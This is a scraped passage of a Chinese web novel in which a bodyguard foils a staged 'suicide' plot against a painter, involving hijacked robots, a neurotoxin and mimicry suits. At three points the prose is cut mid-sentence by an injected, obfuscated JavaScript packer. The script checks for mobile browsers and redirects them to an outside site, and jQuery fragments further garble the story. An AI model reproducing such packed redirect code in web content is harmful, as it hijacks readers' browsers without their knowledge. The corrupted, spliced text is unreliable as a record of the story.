;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491694|185899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她接连咳嗽了好几声,听起来像是有点着凉。 被子叠得很整齐,完全不像是有人住过,但是房间没有任何灰尘,说明经常打扫,不过也不能确定就有人住。 但概率很大。 作家比默蓝先生还要排斥人工智能,连最基础的家务机器人都没购置。据江洄这些天的观察,大概也没有请保洁,一切全靠他自力更生。 一个人住,会每天把客房都打扫得一尘不染吗? 江洄只是飞快掠过几眼,就神色如常地走进了卫生间。 卫生间相当干净。 没有任何头发,没有信息素味道——Alpha和Omega经常住的房间会自带香水味,即便每天通风也不能完全散净。说明即便有人住,也会是个Beta。 洗护用品未被拆封,不能判断痕迹。 一切看起来很正常。 也没有死角可以藏人。 江洄打开淋浴,热水顿时蒸起了白雾,并响起哗啦啦的水声。 她又去开洗衣机,但是没有立即启动,只是把手在里面摸了一圈。没有水珠,完全是干的。 她没有灰心。 转而蹲下身费劲地把胳膊塞进去一点一点地摸索内壁……摸索了很久,指腹几乎都有点失去灵敏的知觉,有点麻木时,她突然顿住。 然后慢慢缩回了手臂,站起身,举起手指。 有一根红色的长发。 …… 她花了将近一个小时找到这根头发,又花了五分钟洗完澡。最后她把衣服都洗完烘干后,穿上,并把长发藏进身上。 然而直到她离开,都没有发现房间里有任何动静。 大概是转移了。 然后她兴致勃勃地和作家又聊了很久默蓝先生的画,与其他一些朋友的创作。当然,主要是作家在说,她只是听,偶尔也会配合地发表一点看法。 差不多下午,外面才彻底放晴。 江洄带着默蓝先生的那把黑伞,以及那根红色的长发,微笑着和作家告辞。 默蓝先生似乎一直在等她。 看见她浑身清爽,明白是洗了个澡。不知道为什么,他忽然又想起之前对瑞洛斯的不喜。“他不值得你费心费力地去帮他。”他忍不住低声说道。 然而江洄难得没有附和他。 她似乎愉快极了,甚至没听进去他的话,而是一看见他就快乐地冲上来给了他一个拥抱。直接让他愣住了。 “默蓝先生!”她笑得眼睛都亮起来,然后刻意压低了嗓音,分享秘密般耳语给他听,“我要捉到第一只老鼠了。” 她紧紧握住他的双臂,声音隐隐透着压抑的高兴。 默蓝先前那点灰暗的情绪倏然就消散不见了。 他不明白她为什么这样开心,但是他苍白的面孔突然也柔和下来,并对着她轻轻地笑。 “看来你没有白白淋雨。” 他说:“祝贺你。” 然后给她打了一笔钱。 “这是奖金。” “你开心的时候,就会支付给你。” 江洄一下子被他突如其来的操作惊醒,她冷静下来,困惑道:“难道不该是你开心,才会有吗?” “因为你快乐的时候,我一定也在为你快乐。” 他说。 12. 十二个雇主 当天晚上,作家在卧室的露台上看见一辆陌生的车驶进清水别墅。 来人行色匆匆,拎着一个医药箱就被老管家迎了进去。大约半个多小时后就离开了,老管家送出来时看起来十分感激的模样。 翌日。 他前去清水别墅拜访,却被拒绝和江洄见面。 “江小姐昨晚突然发烧了,医生说了得静养,现在估计还没醒。”老管家叹息着,又充满歉意地对他道,“要不您先回去吧,我得去主城区一趟,先生在书房……家里恐怕不能招待您了。” 他只好笑着起身,被老管家送出门。 临走前,他愧疚道:“我过些天再来看江洄,她肯定是因为昨天为我淋了一场雨才病了。” 老管家安慰了他两句,就目送他离开了。 作家回去后,在露台上果然看见老管家乘坐那辆黑色的汽车驶离清水别墅。据他这些天观察,十有八九是回莫里斯家了。 似乎每隔几天,他就会回去被主家召见一趟。 默蓝先生的画室空荡荡的,他的书房却在另一侧,对作家而言是个死角,就不能观察到了。 作家遗憾地放下便携望远镜。 然后折返卧室内,“唰”的一声拉上窗帘。 …… - 【DNA鉴定结果出了[附件]】 【红发被证实是一名叫卡伊娅·琼斯的女性Beta的。卡伊娅曾是B.F.A成员,属于AI行为审计部门,但在十七年前,她突然失踪,从此下落不明,至今仍在B.F.A失踪人员名单。】 【值得一提的是,她与第二名受害者埃柯有着密切的关系。】 江洄站在落地窗前,按灭了终端。 她居高临下地俯视着幽径里漫步的作家。 他的后背连同脆弱的颈部就赤裸裸地暴露在她面前,以至于她不住地摩挲着脉冲手枪,脑子里飞快做着各种情境假设。 防窥玻璃的光反射进她的眼睛,有一瞬的无机质与冰冷。 与此同时,玻璃上却倒映出渐渐上扬的嘴角。 【我已经在和军部联系,你继续和他周旋,暂时不要打草惊蛇。】 【等。】 [来自L的两条未读消息] 江洄转身坐在桌旁开始照常看监控影像。 昨晚医生以静养为名让她搬到了顶楼,因为二楼总有人和机器人经过。而且没有做全封闭处理。 顶楼就清净得多,最重要的是—— 视野相当好。 落地窗的防窥玻璃还可以自由升降。 唯一美中不足的,只有离默蓝先生的卧室变远了。 她仔仔细细把监控看完,没发现有什么问题。每天只有机器人会进来固定给她打扫卫生两次,机器人除了日常保洁,完全不会碰她的私人物品。 而距离自杀预告上的时间只剩下一个多星期。 默蓝先生已经承诺她接下来决不出门,也不招待任何客人。这样一来,对方怎么能笃定计划就会成功? 放火、刀具、毒素。 都是不重复的手段。 那么,这一次呢? 江洄漫不经心看了眼终端,才注意到之前的消息。她给L回复【1】,然后删去所有聊天记录。 她病了三天,中途甚至不出房间,也不见任何人,全靠医生每天早晚各看望她一次。老管家和默蓝先生对她的情况隐隐猜到几分,但没有点破,反而很配合地担忧着她。 直到还剩下最后一周的时候,江洄病愈了。 她趴在画室的露台上朝天空仰望——数架无人机在外巡逻。清水别墅所在的街道开始有警卫队的人坐在车上日夜轮值监视。 这在向来冷清的住宅区已经相当显眼。 “星网上最近都在讨论这件事,但大多数人还是更相信你会平安无事的。”江洄走回房间坐在默蓝先生的身旁。 他在画板前握着画笔。 闻言慢了一拍才反应过来:“抱歉,你刚刚说什么?” “没什么。” 她突然凑近不错眼地盯着默蓝的脸。 默蓝一动不动,任由她观察自己,并垂眸望着她专注的神情,轻声问:“有问题吗?” “有。”江洄往回撤了一步,仰躺在座椅里,“你最近似乎总是心神不宁,不管是谁和你说话,你老是在发呆、走神。” 甚至老管家私下忧虑地告诉她,先生这几天记忆力好像变差了,经常丢三落四。 并询问她:“会不会是因为压力太大?这是正常的吗?” 江洄只回答了他一句很绕的废话:“正常情况下,或许是正常的;但不正常情况下,就是不正常的。”特殊时期的蛛丝马迹都有可能是风雨来临前的预告。 而默蓝本人却对此有些反应迟钝。 他说:“是吗?” 江洄定定地看了他一会儿,突然起身出去了一趟,回来时手里多了个小医药箱。她把默蓝先生按在椅子上,然后在他陡然睁大的双眼中给他抽了一管血。 默蓝嗅到一点消毒水的味道,被卷上去的衣袖堆在臂肘,而裸露的皮肤却在忽然的凉意中微微泛红。 “我想在您房间和画室里装几个监控,可以吗?”江洄冷不丁出声。 “可以……”默蓝下意识答应,却蓦地顿住,“你要监视我的房间?” 突然,针扎入皮肤下。 有一瞬的刺痛,骤然打乱了他思考的节奏。 针尖也是冰冷的。 只有江洄的手指是温热的。 这让他感到了冰火两重天。 但那支分明很小的采血管却在他不自觉加快的心跳中愣是一点一点磋磨着时间。等他眼睁睁看着它注入足够的血量后,竟比江洄还要快地松了一口气。 江洄便有些疑惑:“很疼吗?”她好歹也是学过一些基本操作的,技术应该没那么差吧? “不是,”默蓝偏过头,露出一点微红的耳尖,“有点冷。” “是吗?” 江洄半信半疑。 他的胳膊明明摸着是热的,至少比她的手要暖和。 但现在不是计较这个的时候,她收拾好东西,笑吟吟地对默蓝说:“那就说好了,我会在必要的时候,给您装上监控。” 然后不给他拒绝的机会就迅速起身离开。 她一回房间就联系上了医生。于是医生又一次打着“为江洄复查”的名义登门了。 “麻烦您拿去验一下血,不要让其他人看见,包括机器人。”江洄强调了一遍。 “我当然知道。” 医生熟练地接过,放进随身携带的医药箱中。而后站在顶楼的落地窗前俯瞰了眼四周戒备森严的景象。 “不要太相信这些警卫队的效率和能力,二区的一群草包。竟然接连死了三个人都找不到凶手。你还是得多留心,只当这些人不存在就好。” 她的语气相当轻蔑。 “多谢提醒。” 江洄点点头,对她伸出手:“‘医生’,我要的东西带来了吗?” “喏。” 医生把一排微型迷你针孔摄像头放在她桌上。 然后背对着她挥了下手:“祝你好运,希望能早日看到你成为我们的一员。”就施施然走了。 江洄能看见对面一道人影在盯着这边。 真是明目张胆。 她笑起来,是在故意寻刺激吗?即便警方会怀疑他,也满不在乎,因为没有任何证据能说明他直接参与了案件。 肯定有人在帮他。 是谁呢? 红色的长发吗? 一个B.F.A探员固然了不起,但她一直以来的专业和工作范畴也都是信息安全相关。帮他操控网络和AI吗?但是AI与星网背后所属公司不会放任一个陌生人闯入。 除非就像星河公报那样。 星河公报作为联邦最具影响力的媒体,属于T.B.G(TransliminalBeaconGroup)集团。 而T.B.G的领导人卡里奥斯却口口声声称说事先不知情,并再三在公众前严厉批评了这一行为,表示要追责到底,给民众一个真相。 但事实上。 最近星河公报的热度已经达到近年历史最高——上一次这么高还是六年前联邦换届选举。T.B.G的股票市值也在疯涨,卡里奥斯因此身价倍增,一度冲上了首富的位置。 虽然只有短短几个小时。 对此,所有相关知情人都心知肚明—— 其实T.B.G的高层包括卡里奥斯在内心里早已有了大致的答案,但他们大胆地选择放手一搏,不核查是谁篡改了报刊,甚至以信息机密为名禁止二区警卫队调查,只让三区的人装模作样走了个流程。 反正死者都出身二区贵族。 而这些贵族与集中在三区的大资本家们一直不对付,且互相掣肘。 或许,卡里奥斯就是希望借此机会打压二区,并且扩大T.B.G的公众影响力。 他根本不在乎会死几个人,更不在乎死的人是谁。 江洄靠在椅子上,闭着眼睛想接下来。接下来……她得抓到作家没断干净的尾巴。 前几次那些警卫队竟然什么都没查到,只象征性扣了几个嫌疑人审讯关了几天,就无事发生地把人都给放了。 也难怪医生会不快。 突然,终端“嗡”了两声。 【天才艺术家默蓝·莫里斯死亡倒计时正式开启!诚邀您与我们共同祈祷默蓝·莫里斯平安!点击关注“星河公报”即为您每日推送最新讯息。】 [来自的一则推送] 江洄睁开一只眼。 看清内容后,她又撤回了一次睁眼。 五分钟后。 她翻身坐起来,点进人类观察中心把星河公报从屏蔽名单拉出来,点上关注。 果然,下一秒。 “叮”的一声。 【感谢您的关注!倒计时将在每日零点发送至您终端,敬请查收!还可添加桌面小组件功能,具体教程请参考如下视频教学[附件]】 正常人谁会把这种东西做成小组件日常提醒自己? 江洄感到无法理解。 然后按照它的教程设置完成。 ……她是工作需要。 今天是倒数第八天。 - 倒数第七天。 默蓝先生的画布上一大早被发现有人用红油漆打了个醒目鲜红的叉,并写着“7”。 “他来了。”默蓝忽然说。 但街道外的监控显示没有人进入清水别墅所在区域。 江洄立即请老管家搞来监控装上去,几乎遍布三楼各个角落。但这些只是最常用的普通监控,背后出品公司也是T.B.G集团。 她偷偷把医生带来的针孔摄像头安在了不起眼的地方,就隐藏在这些监控附近。 “不要紧,他明天或许不敢来了。”她笑眯眯地安慰心情一下沉重起来的老管家。 然而。 倒数第六天。 默蓝先生的枕头边突然发现一张轻飘飘的卡片。还印有数字“6”。 以及一句话: “我在等你的信。” 下面附带了一句花体写的诗,就是默蓝先生之前写给自己,并烧掉的那段。 默蓝怔怔地捻着卡片。他从没有告诉过任何人这句诗。 除了江洄。 机器人端着茶盘走过来,又走了,显示屏的两点红光闪烁。 手段这么直白吗? 江洄若有所思。 她有些不解,但还是立即请老管家打电话让莫里斯家族去查这个机器人的芯片数据传输记录。 “有人在数据网里做了窃贼而已。”她把机器人送来的红茶倒进一只特制的储存杯里,又伸手在默蓝面前晃了晃,“你在胡思乱想吗?还是去用冷水洗把脸吧。别太紧张了。” 昨晚医生通知她,验血结果出来了。 默蓝先生的血液里含有部分神经毒素。 “不会致命,但是会让人产生幻觉。尤其对一些本就精神不稳定的人来说,很有可能导致精神分裂。” “幸而不算多,直接等毒素被身体新陈代谢掉就行。” 她把这些话简略说给默蓝。 “你觉得是它?”他注视着机器人远去的身影。 “我们每天同吃同住,但我们没有任何症状。如果我是因为年轻,影响不明显;那么管家先生一把年纪了,应该比你还糟糕。但他看起来很好。只有你有问题,也只有你固定会在下午喝红茶。” “虽然不能确定,但很大概率就是这个原因。” 江洄把杯子合好,准备后面送去检验科。 然后起身打算去看昨天的监控。 倏尔,一只手陡然紧紧攥住她手腕。 她顿住,没有挣开。 反而将自己的另一只手覆上去。 而后安抚地按着他的手背,问他:“你有哪里不舒服吗,默蓝?”这是她第一次直接地叫他名字。 默蓝坐在床尾,比她矮了一截。 他仰起脸,脸孔一如既往的苍白。黑色的眼睛凝视着她,像一片阴影。 “为什么他能做出这种事?”他问得很突兀。 江洄与他四目相对间,顿时意会他绝不是在问那个人的作案手法,而是作案心理。 “默蓝,”她耐心地又叫了一声他的名字,尽管他比她年长好几岁。她说,“你不必试图去理解一个施暴者的想法。” “他可能是为了钱、为了名,或者单纯是在找乐子……这都不重要。了解犯人的心理是那些专家应该去做的事,而你只是受害者。” 她俯身拥抱了他一下。 然后拍了拍他的背。 “受害者只需要好好休息,然后迎接新的一天。” 江洄起身,并灵巧地从他手里抽走那张印有数字的卡片,对他笑了一下:“抱歉,这个我得带走。” 默蓝眉眼似乎松动了几分。 他问她:“他明天还会来吗?” “或许,”江洄轻松地耸肩,“他好不容易设计的戏剧总是要演完的。而且我们也得配合他演完。但有一点我可以向你保证——” “最后一天,谁也不能带走你。” 她冲他眨了眨眼睛:“倒是他,一定会被人带走。联邦法庭已经在等他了。” 默蓝忽然感觉胸口那种窒息的压迫感被荡涤一空。 他慢慢松了手,看着她:“江洄。” 江洄也回望着他,轻快地答应:“嗯?” 默蓝突然对她笑了一下,笑得异常好看。他摇了摇头什么也没说。 江洄举起被他松开的那只手拍了拍他的肩膀,也只是笑。然后什么都没说就走了。 一回去,她就正色起来。 看监控—— 先是T.B.G对外风评最好、据说最安全有保障的三百六十度无死角监控。 结果发现毫无异常。 画面显示机器人去了画室和房间打扫卫生,后来便正常离开。直到监控时间一直拉到半夜时分。江洄的目光突然凝住。 默蓝先生竟独自走进了画室,并亲手毁掉自己的那幅画。 漆黑的夜色中,他灯也没开,一双眼睛发出幽幽的光。伸出来的一只手是鲜红的油漆,在黑暗中像乌红的血痕。 他凝视着镜头,说:“我在等你的死亡拥抱我。” …… 江洄猛地后仰。 进度条重新回到开头,停住。 竟搞这些神神叨叨的东西。她小声嘟嚷了一句,面上露出不赞同的神态。她压根就不相信这个记录。 直接看另一份来自B.F.A内部专用摄像头的—— 前面都很正常,和刚刚没有区别。 直到半夜。 原本应该在一楼处于休眠状态的机器人竟然出现了。 江洄渐渐笑起来。 【这个视频可以送去分析一下吗?我怀疑是AI生成。[附件]】 L很久没有回复。 考虑到他可能很忙,等他有空处理消息已经很晚,她又给医生发了一份。 医生立即回复【一个小时后给你结果。】 江洄想了想,下楼找到老管家,请他让莫里斯家族的人也帮忙检测一下。老管家连声答应了,并表示半小时可以给她回复。 于是她就老老实实等了一小时。 等到两份结果都出来,再对比——莫里斯说用市面上最先进的方式并未测出异常,判定是真实影像。然后她点开医生的消息。 【视频有拼接痕迹,不是一段完整连续的监控。】 江洄思忖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491695|185899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着打下一行字。 【不是智能生成的吗?】她问。 【没有痕迹显示智能生成,应该是真的。】 【可是默蓝·莫里斯不可能做出影像中的行为,这不符合他的性格。】他只是忧伤,又不是变态神经病。 总不能真像他今天早上恍恍惚惚猜测的那样—— “难道是另一个世界的我?是精神世界的本我在呼唤现实世界的我?” 那也太抽象了。 江洄是坚定的唯物主义者,只要没证据表明默蓝先生是个人格分裂患者,她就坚决不信监控里的人会是默蓝。 对面好一会儿没回复她。 大约过了半个多小时。 【根据以前的案例,我初步判断有可能是别人穿上了拟态衣假扮他。拟态衣可以在镜头前达到以假乱真的程度,只要不走在现实中,只是镜头前,几乎没人能分辨出来。】 因为拟态衣是通过输入被模仿对象的虹膜生成的。 江洄顿时眼睛一亮。 【那画室的背景也有可能是通过虚拟投影伪造的。】 他们可以侵入机器人系统甚至操控它,那么想得到默蓝先生画室的情况也轻而易举。甚至可以直接装修成一模一样的风格。 江洄不禁想到了第一天去作家的客厅,就被他家与清水别墅极其相似的风格惊到。 医生:【有可能。】 几分钟后。 医生:【我有点麻烦了,接下来十二小时内不要联系我。】 江洄猜测她也有别的任务。 她刚放下终端,却又响起了特殊的提示音。 这个声音—— L:【自从确认卡伊娅存活后,经表决同意,她的皮下追踪器已被重新激活。目前显示在一个居民的家中,该居民名为阿尔文·瑞洛斯。另外,据心跳监测结果显示,卡伊娅白天总是陷入沉睡,半夜才进入活跃期。】 【那份视频我已经送去审查部门了,二十分钟内会给你答案。】 【第三件事,首先感谢你送来的那根头发。我们终于能够以瑞洛斯私藏在逃公职人员的罪名成功申请调查了他全部的信息。并顺利有了重大发现——瑞洛斯是卡里奥斯·维萨卡的私生子,之前一直在联邦外混沌区长大,今年年初才进入联邦。】 【由于他是个黑户,我们又特意去查了他进入联邦的身份证明,显示是由T.B.G集团作为担保单位,批准他进入联邦;又是由一名贵族作为担保人,批准他进入二区。】 【这个贵族就是案件的第一名死者。】 …… 【收到】 江洄平静地放下终端,在脑子里把案件串了一遍。 事情就要结束了。 她捏着手指,却又想到星河公报的死亡倒计时,忽然没什么温度地笑了一下。毫无疑问,控制人工智能的技术应该也是T.B.G给的。 为了炒作一家人自导自演…… 真是疯了。 沾上人命的流量就算吃下去也是刀片,那是会割喉咙的。 【[视频分析报告]】 【再给你推荐一个人——塞拉菲娜·维萨卡,卡里奥斯的大女儿。T.B.G集团近年内部分裂越来越严重,她或许会对你有所帮助】 随后L附上了塞拉菲娜的联系方式。 江洄先看了报告,发现与医生所说的完全相同,就没再关注。然后看了眼时间,还算早,塞拉菲娜应该在工作期间。 于是径直打过去。 对面响了三声,就被接起。 “请问你是?” 塞拉菲娜的声音有种无机质的冰冷,毫无温度,且咬字发音非常利落果决。和新闻上总是擅长做感情充沛的演说家的卡里奥斯全然两样。 江洄把介绍人告诉她。 又问:“阿尔文·瑞洛斯与您父亲有血缘关系,是吗?” 她冰冷地回答:“是的。” 并很不客气问:“你有什么事?如果只是为了八卦,我想你不该得到这个号码。” 于是江洄就说了两个词,“贵族被自杀案”,还有“星河公报”。 对面立即反应过来。 “您有任何证据吗?没有证据,您等着三天后联邦法庭的传唤吧!”塞拉菲娜的语气已经冰冷得可以冻出冰碴子。 江洄没被她吓住。 反而和她开了个无伤大雅的玩笑:“只是三天。三区的法庭还传唤不了一区的自由公民。” 塞拉菲娜沉默了几秒。 突然说:“那只是个虫子。” 她很轻蔑。 “他干不了大事。” “但星河公报被替换的头版头条您要如何解释?一定有您家族内部的人在帮他,甚至与他合谋。另外,我们已得到证实,他牵涉进了B.F.A的一桩密案,并且这件事与军部有所关联。” “您要为了一只虫子得罪几个区吗?” 江洄的语气很微妙。 塞拉菲娜陷入静默。过了会儿,冷静反问:“你需要我做什么?” “请您先想方设法抓住您家里的那只蛀虫,并且不要打草惊蛇,让外面那只虫子知道。只需要照常配合瑞洛斯的行动就好。另外,距离预告没有几天了,或许这点时间足够您想好接下来应对丑闻的公关了。” 江洄笑了一下。 通讯被挂断了。 - 江洄的心情一天天的好起来。 尽管清水别墅的诡异现象一天天仍在继续。 装神弄鬼。 她笑了一声。 倒数第二天。 B.F.A与军部的人联手包围了别墅,但他们只假装是警卫队增派的人手,潜伏在一辆辆警卫车中。 最后一天。 距离零点还有一小时。 江洄趴在楼顶,前所未有的精神奕奕。一旁的终端在实时播放着默蓝先生卧室的景象,两名军部的人就藏身其中。 她将脉冲手枪的模式旋钮调转到“高强度眩晕”。 然后蓄势待发。 …… …… 最后三十分钟。 她感觉她的身体都有些僵硬了,但仍然保持静止不动。 一分钟后。 忽然,一个人凭空出现在了露台上。 江洄睁大了眼看去——那分明就像是另一个默蓝先生。她看见他向里面的人伸出手:“来握住我的手吧。” 声音很轻,听起来简直就是默蓝先生本人。 尤其当他也开始低声地念诗时,那种忧郁的腔调几乎拿捏得一模一样。 江洄把单边耳机里终端的音量稍微调高了点,又将监控中的那道人影看了再看。还是想不通他是如何出现的。 但很快她没有心思去想。 她眼睁睁注视着默蓝先生竟然按着头,很痛苦地走了过去…… …… 默蓝先生按着头,很痛苦地走去,并打开了卧室通往露台的门。但当他就要靠近时,露台的人却站在了半空中。 于是他也恍惚地跟去。 就在他单薄的身体颤巍巍地就要一只脚翻过栏杆时,枪声骤然惊响。 子弹穿过他耳后,弹孔就穿透了玻璃门,嵌进卧室的墙壁。 他猝然惊醒。 并刹那间感到了心悸。 仿佛灵魂被那声枪响穿透。 然而下一瞬,一堆人朝对面的楼顶围了上去。 有个人影倒下了。 暗蓝的天空下,风扬起长长的、凌乱的红发。 而眼前悬空而立的人却突然波动起来,从拟态变为了投影。 投影像雪花一样变成乱码。 默蓝怔怔地抬头,头顶的几架无人机就在刚刚被同时打下来,流星般划过天空,砸在地上,报废,并着火升烟。 一个人影挂在墙壁上灵活地爬了下来。 猝不及防中。 一张被雨水淋湿、眼睛乌黑明亮的脸倒挂在他眼前。 像月亮从海平面跳出来。 “晚上好,默蓝先生。” 她笑起来。 …… …… “……又下雨了吗?” 默蓝情不自禁伸手慢慢抚上她湿淋淋的脸,然后轻轻靠了上去。 就抵着她的额头。 他轻轻吻了一下。 13. 十三个雇主 …… 他昏昏沉沉的梦影忽然就像泡沫被击碎了,一下子清醒过来。 “拉我一把,先生。”她伸出手。 他才后知后觉握住她的手。 他:“有人对我开枪了?” “是。” “刚刚的枪声……是你?”对面试图狙击他的那个人倒下了。 “我的枪法全校第一。”她很得意地挑眉,神采飞扬。 又说:“先生,您的门没有关好。” 她灵活地跳上露台,脚步轻得像猫科动物一样,轻盈敏捷。 然后舒展活动了一下僵硬的四肢。 “先让我来看看我们尊敬的两位军官,”她手指自如地转着枪玩,一面漫不经心地往卧室里走,脸上还带着点不愉快的笑,“我把雇主交给他们,不是让他们在房间里呼呼大睡的。” 江洄有些不高兴。 她一眼就看见了各自倒在角落里的两名Alpha。 直到她往前走了几步。 她突然顿住,然后枪身朝后拦在默蓝的腰部。 “好吧,我大概是误会他们了。” 这屋子里有可疑的气味。 她若有所思地看了眼恒温系统——与它相连的通风系统似乎还在运作。这种能瞬间充斥整个房间的气体大概就是从那里被排放出来的。 江洄对默蓝打了个手势,示意他重新回到露台上。 “至少这里还算空气清新。” 然后她俯身朝楼下的警卫队挥手,并大声告诉他们屋子里的情况,让他们想办法解决:“我倒是可以从外面爬出去,但是你们能指望一位画家的身手和我一样灵活吗?” “现在才过零点,默蓝先生不能后半夜都待在这里吹冷风,”江洄抹了把眼睛上的雨珠,顺便补充了一句,“何况现在还下起雨了。” 警卫队头也没抬,只是敷衍地应和了两声:“好的好的,我们会的。但是你们得耐心等一下。你们要知道我们有多忙,我们还需要押送犯人……噢!” “谁在开枪?!” 这个人突然骂了一声,又怒气冲冲地对身后的人道:“案子已经结束了,随意在居民区放冷枪是违法行为!” “闭上你的屁股!不要用它对着我说话!” 一个深棕色头发的女人摘掉了头顶的帽子,甩进这人怀里。然后漫不经心把外面的警卫队制服扒掉,并随手撂在车顶。 由此露出她里头那件卡其色风衣,以及胸口别着的铭牌。 “哈喽,晚上好。” 她抬眼懒洋洋地对江洄打了个招呼:“你刚才放的那一枪……” 她吹了个口哨。 然后挑眉:“cool~” “非常漂亮——”,她兴味十足地靠在车身上,冲江洄扬了扬下巴,“有兴趣下来之后和我比试一下枪法吗?我是说,事情彻底结束之后。” 江洄趴在栏杆上,朝下垂着生动明亮的脸孔:“谢谢您的夸奖,如果有机会的话,我会的。” 她毛茸茸的头发被雨淋成一绺一绺的,很柔顺地贴着脸颊。 女人眯起眼睛。 “你是这个人的保镖?他开价很高吗?如果我想挖你……”她从兜里掏出一盒烟,然后抽了根抿在嘴唇之间,直到呼出幽蓝的光雾,在湿淋淋的雨丝中明灭不定。 她含糊不清地说:“多少钱你愿意跟我走?” “噢,没素质的家伙!你竟然在公众场合抽烟!”刚才那个人还在喋喋不休。 一个人走过来对他竖起了一张身份牌。 他顿时像被勒住脖子的鸡。 女人扒开他挡在前面的脸,毫不在意地把他丢到一边,眼睛都没看他一下:“话这么多,下次不要用手开枪了,改用你的屁股吧!反正三十发打出去,一发没中。” 然后走到坠毁的无人机旁,用鞋尖拨了拨烧焦的零件。 “还是最新款的,嗳,打下来真是让我心疼,”又突兀地扭头问疑似她下属的人,“这些零件还能拆了再卖吗?” “损毁程度很严重,恐怕不行。”下属很为难地回答。 “是吗?真可惜。” 她的语气很遗憾,但眼神却很淡漠,看不出多少遗憾。 又抬头:“怎么样?想好了吗?” 幽蓝的光雾萦绕在她冷白的脸庞,衬得她棕褐色的眼睛也成了这黑夜中的一部分。 江洄已经在刚刚那点时间里,迅速管L要了一份名单,并对着一排整齐的证件照找到了其中看起来最格格不入的她。 苏。 就一个单字,没有姓氏。 Alpha,隶属于九区军部,现任特别调查处高级调查专员。 “很抱歉,我只是个Beta,不符合军部用人需求。”江洄大声回答她。 “我不介意这种事,”苏耸了耸肩,“如果有人介意,你完全可以把他打服,或者直接对他开一枪,用你的子弹让他闭嘴。” 然而这回她的下属却抬头看了江洄一眼,而后压低了嗓音对苏说了什么。 她立即皱起眉,又舒展开。 “好吧,竟然是这样的吗?那就太不凑巧了。”她十分遗憾地对江洄说,“你已经做出选择了吗?那我就不能强人所难了。” 这回她眼中终于切实地流露出惋惜的神情。 “但假使你愿意弃暗投明,我随时欢迎你跳槽。”她把烟叼在牙齿间,张开双手对江洄做出了拥抱的姿势。 然后呼出了淡淡的烟圈。 “非常感谢您的赏识。” 江洄笑起来,觉得她很有意思。 但她暂时还没有离职的打算。 她转身,默蓝凝望着她。她以为他要对自己说什么,或者质问什么,但他一句都没说。他只是走过来,也动作生疏地学着她趴在栏杆上。 过了一会儿。 “事情都结束了。”他说。 “是的,都结束了。” “你要走了吗?” 江洄唔了一声:“没有那么快,合同还没到期。而我是有良好职业素养的保镖,所以会等合同正式到期、你的生活也重新走上正轨之后再离开。” “那太好了。” 默蓝轻声呢喃道。 那样他还有一个月的时间可以每天见到她。 忽然,有人从她们背后喊起来:“可以出去了!” “好的!我们就来,辛苦了!”江洄也喊了一声,然后做出请的姿势,笑眯眯道,“先生,你先吧。” 却突然被默蓝握住手腕。 “我们一起。”说着他往前迈了一步。 江洄配合地立即跟上去,与他并肩。但是手被人抓住,虽然不痛,却很别扭。就挣脱了他,然后对他笑了一下:“走吧。”似乎对他那点隐秘的心理一无所知。 默蓝的手指蜷缩了下,没说什么。 他低低嗯了一声。 跟了上去。 - 作家和红头发都被押走。 据苏透露,两人会被暂时送往四区收押。 “卡伊娅被证实杀了一个军官,军部以此威胁,要求将她转移至九区送审。” “但鉴于你们的长官如今翻出了更多的证据,查明埃柯,也就是这个军官,曾经因为和卡伊娅政见不合,朋友反目成仇而试图谋杀她,结果谋杀未果,反而导致报复……” “他坚决要求军部按照法律给予他的同事巨额经济补偿。” “并表示作为功劳最大的人,你属于B.F.A,所以B.F.A有权将两人都带往一区。” “但二区判定这两人都对二区尊贵的一等公民们造成了极大的伤害,并严重造成社会恐慌,认为作为受害者,二区才是最终有资格审判他们的人。” “然而就在刚刚,我们赫赫有名的塞拉菲娜·维萨卡女士致电,要求将阿尔文·瑞洛斯单独送往三区联邦法庭。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他只是请江洄把终端递给他,并再次给她转了一串九。 “不要对我用敬词。” 他对她笑了一下:“扣你一联币。” “你真是……” 江洄对他屡屡投放糖衣炮弹无可奈何,刚要说什么,终端突然响了。 她以为是另一边的扯皮终于有了结果,却发现是崔夏的消息。 【你也要参加三天后的宴会?我在名单上看见了你的名字。[附件]】 江洄莫名其妙地点开一看,却发现这个名单基本被分为四类:一区的B.F.A,二区的贵族,三区的财阀,九区的军部。 而她被暂时归入了二区,紧挨着默蓝·莫里斯的名字。 几秒后。 崔夏:【你看见我的名字了吗?我们终于可以见面了。】 崔夏:【明树非常高兴,他好像很想你。】 江洄退出附件,飞快滑过他的消息,很随意道:【那你呢?只有他在想我吗?】 对面状态一直在切换,大概是写写删删。 【你的问题太坏了,让我有时候真搞不清楚你是明白,还是不明白。】 江洄也想说他的回答太坏了,让她根本搞不清楚他说她明白什么,又不明白什么。她觉得他说话总是弯弯绕绕,明明一个很简单的问题却被他说得很复杂。 江洄:【好吧,既然你回答不了,我说也是一样。】 江洄:【不管你有没有在想我,我都很想你。】 但她还没来得及发出去,新的消息就跳了出来。 